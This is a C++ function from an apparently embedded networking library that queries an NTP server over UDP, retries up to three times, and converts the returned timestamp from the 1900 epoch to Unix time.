unsigned CNTPClient::GetTime (CIPAddress &rServerIP) { assert (m_pNetSubSystem != 0); CSocket Socket (m_pNetSubSystem, IPPROTO_UDP); if (Socket.Connect (rServerIP, 123) != 0) { return 0; } u8 NTPPacket[NTP_PACKET_SIZE]; memset (NTPPacket, 0, sizeof NTPPacket); NTPPacket[0] = 0xE3; // leap indicator: unknown, version: 4, mode: client NTPPacket[1] = 0; // stratum: unspecified NTPPacket[2] = 10; // poll: 1024 seconds NTPPacket[3] = 0; // precision: 1 second memcpy (NTPPacket+12, "XCIR", 4); unsigned char RecvPacket[NTP_PACKET_SIZE]; unsigned nTry; for (nTry = 1; nTry <= 3; nTry++) { if (Socket.Send (NTPPacket, sizeof NTPPacket, 0) != sizeof NTPPacket) { CLogger::Get ()->Write (FromNTPClient, LogError, "Send failed"); return 0; } CScheduler::Get ()->MsSleep (1000); int nResult = Socket.Receive (RecvPacket, sizeof RecvPacket, MSG_DONTWAIT); if (nResult < 0) { CLogger::Get ()->Write (FromNTPClient, LogError, "Receive failed"); return 0; } if (nResult >= 44) { break; } } if (nTry > 3) { CLogger::Get ()->Write (FromNTPClient, LogError, "Invalid or no response"); return 0; } unsigned nSecondsSince1900; nSecondsSince1900 = (unsigned) RecvPacket[40] << 24 | (unsigned) RecvPacket[41] << 16 | (unsigned) RecvPacket[42] << 8 | (unsigned) RecvPacket[43]; if (nSecondsSince1900 < SEVENTY_YEARS) { return 0; } unsigned nTime = nSecondsSince1900 - SEVENTY_YEARS; return nTime; }